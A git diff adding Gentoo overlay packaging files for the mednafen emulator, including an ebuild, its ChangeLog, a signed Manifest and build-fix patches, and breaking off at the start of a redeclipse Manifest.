Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/mednafen-0.9.28.ebuild,v 1.5 2013/04/27 14:16:20 hasufell Exp $ + +EAPI=5 +inherit autotools eutils games + +DESCRIPTION="An advanced NES, GB/GBC/GBA, TurboGrafx 16/CD, NGPC and Lynx emulator" +HOMEPAGE="http://mednafen.sourceforge.net/" +SRC_URI="mirror://sourceforge/mednafen/${P}-wip.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~x86" +IUSE="alsa altivec cjk debugger jack nls" + +RDEPEND="virtual/opengl + media-libs/libsndfile + dev-libs/libcdio + media-libs/libsdl[audio,joystick,opengl,video] + media-libs/sdl-net + sys-libs/zlib[minizip] + alsa? ( media-libs/alsa-lib ) + jack? ( media-sound/jack-audio-connection-kit ) + nls? ( virtual/libintl )" +DEPEND="${RDEPEND} + virtual/pkgconfig + nls? ( sys-devel/gettext )" + +S=${WORKDIR}/${PN} + +src_prepare() { + sed -i \ + -e 's:$(datadir)/locale:/usr/share/locale:' \ + $(find . -name Makefile.am) \ + intl/Makefile.in || die + epatch \ + "${FILESDIR}"/${P}-zlib.patch \ + "${FILESDIR}"/${P}-cflags.patch \ + "${FILESDIR}"/${P}-automake-1.13.patch + eautoreconf +} + +src_configure() { + egamesconf \ + $(use_enable alsa) \ + $(use_enable altivec) \ + $(use_enable cjk cjk-fonts) \ + $(use_enable debugger) \ + $(use_enable jack) \ + $(use_enable nls) +} + +src_install() { + emake DESTDIR="${D}" install + dodoc Documentation/cheats.txt ChangeLog TODO + dohtml Documentation/* + prepgamesdirs +} diff --git a/games-emulation/mednafen/mednafen/ChangeLog b/games-emulation/mednafen/mednafen/ChangeLog new file mode 100644 index 00000000..7df2a391 --- /dev/null +++ b/games-emulation/mednafen/mednafen/ChangeLog @@ -0,0 +1,190 @@ +# ChangeLog for games-emulation/mednafen +# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/ChangeLog,v 1.44 2013/04/27 14:16:20 hasufell Exp $ + + 27 Apr 2013; Julian Ospald mednafen-0.9.28.ebuild, + +files/mednafen-0.9.28-automake-1.13.patch: + fix automake-1.13 build wrt #467498 + + 14 Feb 2013; Michael Sterrett mednafen-0.9.28.ebuild: + add opengl to libsdl use deps (bug #457606) + +*mednafen-0.9.28 (26 Jan 2013) + + 26 Jan 2013; Michael Sterrett + +files/mednafen-0.9.28-cflags.patch, +files/mednafen-0.9.28-zlib.patch, + +mednafen-0.9.28.ebuild, metadata.xml: + version bump + + 13 Jun 2012; Michael Sterrett + -files/mednafen-0.8.13.3-zlib-1.2.6.patch, + -files/mednafen-0.8.13.3-zlib.patch, -mednafen-0.8.13.3-r1.ebuild, + -mednafen-0.8.13.3.ebuild: + old + + 22 May 2012; Jeff Horelick mednafen-0.9.21.ebuild: + marked x86 per bug 413831 + + 20 May 2012; Agostino Sarubbo mednafen-0.9.21.ebuild: + Stable for amd64, wrt bug #413831 + + 19 May 2012; Samuli Suominen mednafen-0.8.13.3.ebuild: + Revert to ~ppc wrt #413831 pending on user request for stabilization + +*mednafen-0.9.21 (06 May 2012) + + 06 May 2012; Tupone Alfredo +mednafen-0.9.21.ebuild, + +files/mednafen-0.9.21-zlib.patch: + Version bump to 0.9.21 Bug #414597 by Tatsh + + 04 May 2012; Jeff Horelick mednafen-0.8.13.3.ebuild, + mednafen-0.8.13.3-r1.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + + 18 Feb 2012; Tim Harder mednafen-0.8.13.3-r1.ebuild, + +files/mednafen-0.8.13.3-zlib-1.2.6.patch: + Fix build with zlib-1.2.6 (bug #403483). + +*mednafen-0.8.13.3-r1 (14 Dec 2011) + + 14 Dec 2011; Tupone Alfredo +mednafen-0.8.13.3-r1.ebuild, + +files/mednafen-0.8.13.3-zlib.patch: + Build with latest zlib. Bug #387821 by Diego Elio Pettenò + + 15 Jan 2011; Markus Meier mednafen-0.8.13.3.ebuild: + x86 stable, bug #351332 + + 12 Jan 2011; Markos Chandras mednafen-0.8.13.3.ebuild: + Stable on amd64 wrt bug #351332 + + 11 Jan 2011; Brent Baude mednafen-0.8.13.3.ebuild: + Marking mednafen-0.8.13.3 ppc for bug 351332 + + 10 Dec 2010; Michael Sterrett + mednafen-0.8.13.3.ebuild: + needs libsdl[joystick] (bug #348364) + +*mednafen-0.8.13.3 (06 Dec 2010) + + 06 Dec 2010; Hanno Boeck +mednafen-0.8.13.3.ebuild: + Version bump, gcc patch got merged upstream. + + 25 Sep 2010; Markus Meier mednafen-0.8.13.ebuild: + x86 stable, bug #337536 + + 21 Sep 2010; Markos Chandras mednafen-0.8.13.ebuild: + Stable on amd64 wrt bug #337536 + + 12 Aug 2010; Michael Sterrett + mednafen-0.8.13.ebuild: + use deps for libsdl; add zlib dep; only pass c++ flags to g++ + + 04 Jul 2010; Hanno Boeck mednafen-0.8.13.ebuild, + +files/mednafen-0.8.13-gcc45.patch: + Re-add gcc 4.5 patch. + +*mednafen-0.8.13 (02 Jul 2010) + + 02 Jul 2010; Tupone Alfredo +mednafen-0.8.13.ebuild: + Version bump to 0.8.13 Bug #326141 by Sergey Kondakov + + 24 May 2010; Tupone Alfredo mednafen-0.8.12.ebuild, + +files/mednafen-0.8.12-gcc45.patch: + Build with gcc-4.5 Bug #321009 by flameeyes@gentoo.org + + 23 May 2010; Pacho Ramos mednafen-0.8.12.ebuild: + stable amd64, bug 312535 + + 21 Nov 2009; Markus Meier mednafen-0.8.12.ebuild: + x86 stable, bug #288950 + +*mednafen-0.8.12 (12 Jul 2009) + + 12 Jul 2009; Michael Sterrett + +mednafen-0.8.12.ebuild: + version bump + + 17 Jun 2009; Tristan Heaven mednafen-0.8.11.ebuild, + +files/mednafen-0.8.11-glibc2.10.patch: + Fix building with glibc-2.10, bug #273590 + +*mednafen-0.8.11 (15 Apr 2009) + + 15 Apr 2009; Hanno Boeck +mednafen-0.8.11.ebuild: + Version bump. + +*mednafen-0.8.10 (30 Jan 2009) + + 30 Jan 2009; Michael Sterrett + +mednafen-0.8.10.ebuild: + version bump + + 24 Jul 2008; Raúl Porcel mednafen-0.8.9.ebuild: + x86 stable wrt #231880 + +*mednafen-0.8.9 (20 Jun 2008) + + 20 Jun 2008; Michael Sterrett + +mednafen-0.8.9.ebuild: + version bump (bug #228623) + +*mednafen-0.8.8 (22 Apr 2008) + + 22 Apr 2008; Michael Sterrett + +mednafen-0.8.8.ebuild: + version bump + +*mednafen-0.8.7 (07 Jan 2008) + + 07 Jan 2008; Michael Sterrett + +mednafen-0.8.7.ebuild: + version bump + +*mednafen-0.8.5 (28 Nov 2007) + + 28 Nov 2007; Michael Sterrett + -mednafen-0.7.2.ebuild, -mednafen-0.8.1.ebuild, -mednafen-0.8.4.ebuild, + +mednafen-0.8.5.ebuild: + version bump (bug #200666); clean out old ebuilds + +*mednafen-0.8.4 (14 Nov 2007) + + 14 Nov 2007; Michael Sterrett + +mednafen-0.8.4.ebuild: + version bump + +*mednafen-0.8.1 (04 Jul 2007) + + 04 Jul 2007; Michael Sterrett + +mednafen-0.8.1.ebuild: + version bump (bug #184151) + +*mednafen-0.7.2 (12 Feb 2007) + + 12 Feb 2007; Tristan Heaven +mednafen-0.7.2.ebuild: + Version bump + +*mednafen-0.7.1 (25 Dec 2006) + + 25 Dec 2006; Tristan Heaven +mednafen-0.7.1.ebuild: + Version bump by Kai, bug #158901 + +*mednafen-0.6.5 (29 Sep 2006) + + 29 Sep 2006; Tristan Heaven +mednafen-0.6.5.ebuild: + Version bump, bug #146371 + + 24 May 2006; Joseph Jezak mednafen-0.6.1.ebuild: + Marked ~ppc for bug #133867. + + 20 May 2006; Joshua Jackson mednafen-0.6.1.ebuild: + Marking ~x86, as testing is needed before going x86 + + 20 May 2006; Jon Hood mednafen-0.6.1.ebuild: + Add ~amd64, #133753. + +*mednafen-0.6.1 (19 May 2006) + + 19 May 2006; Michael Sterrett +metadata.xml, + +mednafen-0.6.1.ebuild: + initial commit - ebuild submitted by Kai via bug #110044 diff --git a/games-emulation/mednafen/mednafen/Manifest b/games-emulation/mednafen/mednafen/Manifest new file mode 100644 index 00000000..59d7326c --- /dev/null +++ b/games-emulation/mednafen/mednafen/Manifest @@ -0,0 +1,24 @@ +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA256 + +AUX mednafen-0.9.21-zlib.patch 1323 SHA256 c5e959e46059d0902e2fffb17376df260d4656ed35f4d1761734aaabfb95cffd SHA512 bb21d2a9d03cf9214755bc1786ba8cf1adf410d1780fc074213cd5075bd479dbb4c70a676096e43f772bd9c2e69c9cdcfb8363ccd125c84750fb73c9c9a982cb WHIRLPOOL 0f2e49c3f1e8d24f6e25f2dc093cf03fbdba185bd9fc54fb7ed0a26c14461ac8810fd6ab9663d000ca5279a7b1968a26ab25da537651f53ccc1c610eb3640780 +AUX mednafen-0.9.28-automake-1.13.patch 372 SHA256 1cc28062d38a372ae2e2cbb56efdd5d0bfa60b83cc5c6ec5fb6adab0de7578e1 SHA512 79eecf9fce0d2da04fb05f4d1453ac5aafee24cc13126c5305a8e1beb14d548ccb1c19df9da5a6017c80433d955362aa39272382e34d55d73364a99f67529eda WHIRLPOOL dfaf51d0b21248e035084e73d89e82c7f1bcf6dc7a4f2a632312ca9640edc9f36801154b98e97b7374da93914529c267aba9985703a385d0d102e34f91cd79fb +AUX mednafen-0.9.28-cflags.patch 1560 SHA256 404029dc11bc8d3271eb3d62a6949c719ab660af5098b8038d4dbba09c484b85 SHA512 658dceb99abe9093fdf0753779663a968986f578d4992865a767d5caf65ef20813080a0755f90ffe433df4f6981f43c449de30aa253a84db668b2582c063f1bf WHIRLPOOL 8a961ed0d49a85b2f9fd20cac40d6cc55859c9d2148f378d63a8693aa171bdcb4bb063760b2bc1daa302e1d68b7729f845428b655e313c984b62a8b42e209009 +AUX mednafen-0.9.28-zlib.patch 1628 SHA256 161bf6682de65caa0a2ffd52000244b3289e7c21454bd99952761d3ffdb75947 SHA512 71e9d67f3a2f9e4534c96cd856e68d6d163fc71de15b31ade139b3a3b09aeead29aad7acf053c01b37b9d139bcdeafb66c231cab370bae49d4ee95a02b2b6e73 WHIRLPOOL 006fb50fec95ea1fa067c399d9f23803372bb5e1d4e95a96c6a4fe34af424183b076f148234af47bb94d841a19e0b09ac0f19adf95f85aea9746be386c9072ce +DIST mednafen-0.9.21-wip.tar.bz2 3770486 SHA256 2c1074337cedd61091b8695915d1bc7cf3f7ad5bbdda755e7b99e32834fc052d SHA512 381f7c5f15ec89bd2ee8cf8606da020c6f958737af355c996d3e42df4f1d392392828b1dcdff0103fedaa628873a3cdbdf7493b674192ba1baedde8da4410f2f WHIRLPOOL a3f392105e891925503000c65f9a3ad455591a4ac67603c27ed53c2151db2d9f9f63a8037c1456e80c8d915f7cd3333fc6b584eecf0684c8d0f006d99ed4d93e +DIST mednafen-0.9.28-wip.tar.bz2 3901828 SHA256 415ce0055c43560fb8e5b225108cfeb2fb2363841c39cc37eaa1c5e605675bde SHA512 4bc4347e31c7b4ddc10426ff422192706cf90a7fef10209c09880eef5e1b8f3c6820ffb975e68e030e26be0bb5999a299bd2d95cf52b036438c0499edb099033 WHIRLPOOL 458e2157b615f587087fd94a5a77f2d07eda9a5d2248304044178371e71b84069cb55b0d4d27dc92a2517b1bc98779bf675f237e5e428c747ca17c062822207c +EBUILD mednafen-0.9.21.ebuild 1615 SHA256 2d49b91f03d5529426dc66635ae963a5c8b4301ad15f4204d35c6cb147f795b6 SHA512 250cf2b1177c8f16ed0a1a2933460c1b5ccbdb294d12cab4f69752b4edc6e9ed9620d06518b578303cee9a6632b6cd0d42417cd9d02fbaaf5837d991ac08b21e WHIRLPOOL 357b6799eeac0ab1c6e448a6c707c75089b98cc41d84726679ff74bd14125ea430c47e272aab14394c2c9f95253ba3d7412afbcd47da589f40d6acdfd9078eb9 +EBUILD mednafen-0.9.28.ebuild 1494 SHA256 83a1ec728f9a9373349bc779e417bd9275e94af32eb974fa3db661fb9b951eec SHA512 86b77d94cffcd1d77912e1f01cc99890bf72112184d3bd63bc2682e7254e0a4b468c53bdca2c99073b45a807b07d2494d58dedb9a9eca890a83e8c26297131e4 WHIRLPOOL 8a8bbb0430f1ab5a88fd4b2b27bff3e1e10504b68ccafdaef2032424a541501c323d9ce3f96c4712c933db3af01d8ae208d8f6b6058a34d34f840f1c9d758001 +MISC ChangeLog 6102 SHA256 e1603eedd07fa76daf4fa9016d994ac47038896c417434b79f10a3bd33dd6054 SHA512 f48b49101476d1494e3fd3b054d841cf1aea33f0643427d01ea0aedd2f3042586bb3960766dbe539a06c5c682255dc690ad1da0c2ddc7fdba0b2ca4eacdf39d0 WHIRLPOOL 8ecfa4c9ad3e836d61e00c2b39c94c6ff45ab29a48092fd5dc3a10104a6ac524e9ecb8ffd087ddedb5674caff16968374306a9bb2a913152d0996dcf39c54bde +MISC metadata.xml 233 SHA256 7ef382bb262a87add83f9f888605564ba0996965964a80239613593302c76a05 SHA512 9190a76d53fe28e92c58ebf8e7308522b8697be30fe10d1d9eeae892b93e40106f9c8274c6fee82a2bfee7b7efdb398cf687fd5549080b80d8167f8bf27cc207 WHIRLPOOL 3d4911033f7d3d6ef8bbf6833dc076d90b642f32f454e13483cc0333137705026def3224531a234d696fc580fc9fbefe420fe1bcfb76ec44ba6f476d48c1f19a +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v2.0.19 (GNU/Linux) + +iQEcBAEBCAAGBQJRe922AAoJEFpvPKfnPDWz/+8H/3w1nBbPYeKv++XS8+2dxHmW +u7EQzjeJ5DYrWTmdkujQLpoA91r5jbwS5M0jwuHohgOVmxtlAOiAOs145qd1vjdY +KWKmylc9Fx7mYIJY2LAg0IojosltQytUfAmAqDBpKk2VD+9pzMpIiy7Hqi188qdh +68EKSIJ1VL3utznvCIqg9RybO8t7YfeH22m0g4Z1MzA3KdJ49vG51GMwLVgzGU89 +vxcwtNIcabiTPvGA+TkDvu1PLzCwWEGsjEINxfPRX1Jw5uKylDmHlBEqG08eHntN +taiXRn8udIWffy4Ts7KjCc/JAX9hHOL7vG07RUsgH5CY7XOVsnQbUh6Q4oCS9lM= +=jsNA +-----END PGP SIGNATURE----- diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch new file mode 100644 index 00000000..2eec3ed1 --- /dev/null +++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch @@ -0,0 +1,27 @@ +--- src/file.cpp.old 2012-05-06 13:20:45.762299681 +0200 ++++ src/file.cpp 2012-05-06 13:21:13.634342683 +0200 +@@ -33,7 +33,7 @@ + + + #include +-#include "compress/unzip.h" ++#include + + #include "file.h" + #include "general.h" +--- src/compress/Makefile.am.inc.old 2012-05-06 13:19:12.625839129 +0200 ++++ src/compress/Makefile.am.inc 2012-05-06 13:19:30.012618340 +0200 +@@ -1 +1 @@ +-mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c ++mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp +--- src/Makefile.am.old 2012-05-06 13:19:54.047930734 +0200 ++++ src/Makefile.am 2012-05-06 13:20:26.888624869 +0200 +@@ -5,7 +5,7 @@ + + bin_PROGRAMS = mednafen + mednafen_SOURCES = debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp math_ops.cpp FileWrapper.cpp Stream.cpp +-mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ ++mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip + mednafen_DEPENDENCIES = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a + + SUBDIRS += sexyal drivers diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch new file mode 100644 index 00000000..14c69d94 --- /dev/null +++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch @@ -0,0 +1,11 @@ +--- mednafen-0.9.28-wip/mednafen/configure.ac ++++ mednafen-0.9.28-wip/mednafen/configure.ac +@@ -13,7 +13,7 @@ + AC_CANONICAL_TARGET + AM_INIT_AUTOMAKE([mednafen], $MEDNAFEN_VERSION) + m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES]) +-AM_CONFIG_HEADER([include/config.h:include/config.h.in]) ++AC_CONFIG_HEADERS([include/config.h:include/config.h.in]) + + AC_PROG_CC + AC_PROG_CPP diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch new file mode 100644 index 00000000..0fca1c61 --- /dev/null +++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch @@ -0,0 +1,35 @@ +--- configure.ac.orig 2013-01-25 13:30:36.167253683 -0500 ++++ configure.ac 2013-01-25 13:32:16.993678869 -0500 +@@ -90,21 +90,6 @@ + + dnl -fno-unit-at-a-time + +-OPTIMIZER_FLAGS="" +- +-dnl -ffast-math removed January 12, 2013. Don't re-add it, nor any of its sub-options(ESPECIALLY not -funsafe-math-optimizations), +-dnl it messes up certain code(NES resampler, for example) under certain conditions and alignments of the great celestial squid. +-dnl +-dnl In fact, let's explicitly disable it here with -fno-fast-math. +-dnl +-AX_CFLAGS_GCC_OPTION([-fno-fast-math], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([-fno-unsafe-math-optimizations], OPTIMIZER_FLAGS) +- +-AX_CFLAGS_GCC_OPTION([-fomit-frame-pointer], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([-finline-limit=6000], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([--param large-function-growth=800], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([--param inline-unit-growth=175], OPTIMIZER_FLAGS) +-AX_CFLAGS_GCC_OPTION([--param max-inline-insns-single=10000], OPTIMIZER_FLAGS) + AX_NO_STRICT_OVERFLOW + + +@@ -138,8 +123,8 @@ + MDFN_COMPAT_FLAGS="" + AX_CFLAGS_GCC_OPTION([-fsigned-char], MDFN_COMPAT_FLAGS) + +-AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS") +-AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS") ++AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS") ++AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS") + + AM_CONDITIONAL(WANT_DEBUGGER, false) + diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch new file mode 100644 index 00000000..8ada2009 --- /dev/null +++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch @@ -0,0 +1,30 @@ +diff -ru mednafen.orig/src/Makefile.am mednafen/src/Makefile.am +--- mednafen.orig/src/Makefile.am 2013-01-12 08:41:03.000000000 -0500 ++++ mednafen/src/Makefile.am 2013-01-25 13:17:44.351619447 -0500 +@@ -5,7 +5,7 @@ + + bin_PROGRAMS = mednafen + mednafen_SOURCES = debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp FileWrapper.cpp Stream.cpp MemoryStream.cpp FileStream.cpp +-mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ ++mednafen_LDADD = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip + mednafen_DEPENDENCIES = trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a + + SUBDIRS += sexyal drivers +diff -ru mednafen.orig/src/compress/Makefile.am.inc mednafen/src/compress/Makefile.am.inc +--- mednafen.orig/src/compress/Makefile.am.inc 2010-12-18 04:03:19.000000000 -0500 ++++ mednafen/src/compress/Makefile.am.inc 2013-01-25 13:17:19.289508092 -0500 +@@ -1 +1 @@ +-mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c ++mednafen_SOURCES += compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c +diff -ru mednafen.orig/src/file.cpp mednafen/src/file.cpp +--- mednafen.orig/src/file.cpp 2012-02-03 17:04:45.000000000 -0500 ++++ mednafen/src/file.cpp 2013-01-25 13:17:09.527854217 -0500 +@@ -33,7 +33,7 @@ + + + #include +-#include "compress/unzip.h" ++#include + + #include "file.h" + #include "general.h" diff --git a/games-emulation/mednafen/mednafen/mednafen/ChangeLog b/games-emulation/mednafen/mednafen/mednafen/ChangeLog new file mode 100644 index 00000000..7df2a391 --- /dev/null +++ b/games-emulation/mednafen/mednafen/mednafen/ChangeLog @@ -0,0 +1,190 @@ +# ChangeLog for games-emulation/mednafen +# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/ChangeLog,v 1.44 2013/04/27 14:16:20 hasufell Exp $ + + 27 Apr 2013; Julian Ospald mednafen-0.9.28.ebuild, + +files/mednafen-0.9.28-automake-1.13.patch: + fix automake-1.13 build wrt #467498 + + 14 Feb 2013; Michael Sterrett mednafen-0.9.28.ebuild: + add opengl to libsdl use deps (bug #457606) + +*mednafen-0.9.28 (26 Jan 2013) + + 26 Jan 2013; Michael Sterrett + +files/mednafen-0.9.28-cflags.patch, +files/mednafen-0.9.28-zlib.patch, + +mednafen-0.9.28.ebuild, metadata.xml: + version bump + + 13 Jun 2012; Michael Sterrett + -files/mednafen-0.8.13.3-zlib-1.2.6.patch, + -files/mednafen-0.8.13.3-zlib.patch, -mednafen-0.8.13.3-r1.ebuild, + -mednafen-0.8.13.3.ebuild: + old + + 22 May 2012; Jeff Horelick mednafen-0.9.21.ebuild: + marked x86 per bug 413831 + + 20 May 2012; Agostino Sarubbo mednafen-0.9.21.ebuild: + Stable for amd64, wrt bug #413831 + + 19 May 2012; Samuli Suominen mednafen-0.8.13.3.ebuild: + Revert to ~ppc wrt #413831 pending on user request for stabilization + +*mednafen-0.9.21 (06 May 2012) + + 06 May 2012; Tupone Alfredo +mednafen-0.9.21.ebuild, + +files/mednafen-0.9.21-zlib.patch: + Version bump to 0.9.21 Bug #414597 by Tatsh + + 04 May 2012; Jeff Horelick mednafen-0.8.13.3.ebuild, + mednafen-0.8.13.3-r1.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + + 18 Feb 2012; Tim Harder mednafen-0.8.13.3-r1.ebuild, + +files/mednafen-0.8.13.3-zlib-1.2.6.patch: + Fix build with zlib-1.2.6 (bug #403483). + +*mednafen-0.8.13.3-r1 (14 Dec 2011) + + 14 Dec 2011; Tupone Alfredo +mednafen-0.8.13.3-r1.ebuild, + +files/mednafen-0.8.13.3-zlib.patch: + Build with latest zlib. Bug #387821 by Diego Elio Pettenò + + 15 Jan 2011; Markus Meier mednafen-0.8.13.3.ebuild: + x86 stable, bug #351332 + + 12 Jan 2011; Markos Chandras mednafen-0.8.13.3.ebuild: + Stable on amd64 wrt bug #351332 + + 11 Jan 2011; Brent Baude mednafen-0.8.13.3.ebuild: + Marking mednafen-0.8.13.3 ppc for bug 351332 + + 10 Dec 2010; Michael Sterrett + mednafen-0.8.13.3.ebuild: + needs libsdl[joystick] (bug #348364) + +*mednafen-0.8.13.3 (06 Dec 2010) + + 06 Dec 2010; Hanno Boeck +mednafen-0.8.13.3.ebuild: + Version bump, gcc patch got merged upstream. + + 25 Sep 2010; Markus Meier mednafen-0.8.13.ebuild: + x86 stable, bug #337536 + + 21 Sep 2010; Markos Chandras mednafen-0.8.13.ebuild: + Stable on amd64 wrt bug #337536 + + 12 Aug 2010; Michael Sterrett + mednafen-0.8.13.ebuild: + use deps for libsdl; add zlib dep; only pass c++ flags to g++ + + 04 Jul 2010; Hanno Boeck mednafen-0.8.13.ebuild, + +files/mednafen-0.8.13-gcc45.patch: + Re-add gcc 4.5 patch. + +*mednafen-0.8.13 (02 Jul 2010) + + 02 Jul 2010; Tupone Alfredo +mednafen-0.8.13.ebuild: + Version bump to 0.8.13 Bug #326141 by Sergey Kondakov + + 24 May 2010; Tupone Alfredo mednafen-0.8.12.ebuild, + +files/mednafen-0.8.12-gcc45.patch: + Build with gcc-4.5 Bug #321009 by flameeyes@gentoo.org + + 23 May 2010; Pacho Ramos mednafen-0.8.12.ebuild: + stable amd64, bug 312535 + + 21 Nov 2009; Markus Meier mednafen-0.8.12.ebuild: + x86 stable, bug #288950 + +*mednafen-0.8.12 (12 Jul 2009) + + 12 Jul 2009; Michael Sterrett + +mednafen-0.8.12.ebuild: + version bump + + 17 Jun 2009; Tristan Heaven mednafen-0.8.11.ebuild, + +files/mednafen-0.8.11-glibc2.10.patch: + Fix building with glibc-2.10, bug #273590 + +*mednafen-0.8.11 (15 Apr 2009) + + 15 Apr 2009; Hanno Boeck +mednafen-0.8.11.ebuild: + Version bump. + +*mednafen-0.8.10 (30 Jan 2009) + + 30 Jan 2009; Michael Sterrett + +mednafen-0.8.10.ebuild: + version bump + + 24 Jul 2008; Raúl Porcel mednafen-0.8.9.ebuild: + x86 stable wrt #231880 + +*mednafen-0.8.9 (20 Jun 2008) + + 20 Jun 2008; Michael Sterrett + +mednafen-0.8.9.ebuild: + version bump (bug #228623) + +*mednafen-0.8.8 (22 Apr 2008) + + 22 Apr 2008; Michael Sterrett + +mednafen-0.8.8.ebuild: + version bump + +*mednafen-0.8.7 (07 Jan 2008) + + 07 Jan 2008; Michael Sterrett + +mednafen-0.8.7.ebuild: + version bump + +*mednafen-0.8.5 (28 Nov 2007) + + 28 Nov 2007; Michael Sterrett + -mednafen-0.7.2.ebuild, -mednafen-0.8.1.ebuild, -mednafen-0.8.4.ebuild, + +mednafen-0.8.5.ebuild: + version bump (bug #200666); clean out old ebuilds + +*mednafen-0.8.4 (14 Nov 2007) + + 14 Nov 2007; Michael Sterrett + +mednafen-0.8.4.ebuild: + version bump + +*mednafen-0.8.1 (04 Jul 2007) + + 04 Jul 2007; Michael Sterrett + +mednafen-0.8.1.ebuild: + version bump (bug #184151) + +*mednafen-0.7.2 (12 Feb 2007) + + 12 Feb 2007; Tristan Heaven +mednafen-0.7.2.ebuild: + Version bump + +*mednafen-0.7.1 (25 Dec 2006) + + 25 Dec 2006; Tristan Heaven +mednafen-0.7.1.ebuild: + Version bump by Kai, bug #158901 + +*mednafen-0.6.5 (29 Sep 2006) + + 29 Sep 2006; Tristan Heaven +mednafen-0.6.5.ebuild: + Version bump, bug #146371 + + 24 May 2006; Joseph Jezak mednafen-0.6.1.ebuild: + Marked ~ppc for bug #133867. + + 20 May 2006; Joshua Jackson mednafen-0.6.1.ebuild: + Marking ~x86, as testing is needed before going x86 + + 20 May 2006; Jon Hood mednafen-0.6.1.ebuild: + Add ~amd64, #133753. + +*mednafen-0.6.1 (19 May 2006) + + 19 May 2006; Michael Sterrett +metadata.xml, + +mednafen-0.6.1.ebuild: + initial commit - ebuild submitted by Kai via bug #110044 diff --git a/games-emulation/mednafen/metadata.xml b/games-emulation/mednafen/metadata.xml new file mode 100644 index 00000000..87490a09 --- /dev/null +++ b/games-emulation/mednafen/metadata.xml @@ -0,0 +1,8 @@ + + + + games + + Build with internal debugger + + diff --git a/games-fps/redeclipse/Manifest b/games-fps/redeclipse/Manifest new file mode 100644 index 00000000..0fd42be3 --- /dev/null +++ b/games-fps/redeclipse/Manifest @@ -0,0 +1,4 @@ +DIST redeclipse_1.1_linux_bsd.tar.bz2 454066621 SHA256 cc7f7e9da51b0e5f0df1a7a3f041586ef82683b3bd2d428f2e9c7075f302a32a SHA512 1e0c8a8766fba41aa3a502f2751ee2d086d42a41e9071b56201db06428e18476d69a6e6841557c0f3d13f4b2f5e41caa8168a40ea512ba8afdbe6601b6754821 WHIRLPOOL 86c512f5dc57ba935f6829dfbcecb934fe9ef08d234727e8c9e92db333576dc730e5d024a0976a8b18a7c1b52c2b98dc504509cab7a6f21606b79ccc6ce76517 +DIST redeclipse_1.3.1_all.tar.bz2 521736979 SHA256 edee35cab03edaf17fb0aae1cd427035eb28b9729fee10551f7e03c56b921ae3 SHA512 4849f77265c1dcc969c47d466d8f0917ad45d8ccceb3d4dad5b22a61ddab0cb2caf306042946cfaf970de8d35df85366dedacc17f74c2031e371fa3522afe404 WHIRLPOOL cc9aaa9f10bc1a35364f960896e5b7dfddf28bc92219df50d579841d9964334c0d44705fadfe6b3663ec451d613ac7fa132744aa2ecd2b45c0606b2d6b4bde4d +EBUILD redeclipse-1.1.ebuild 1577 SHA256 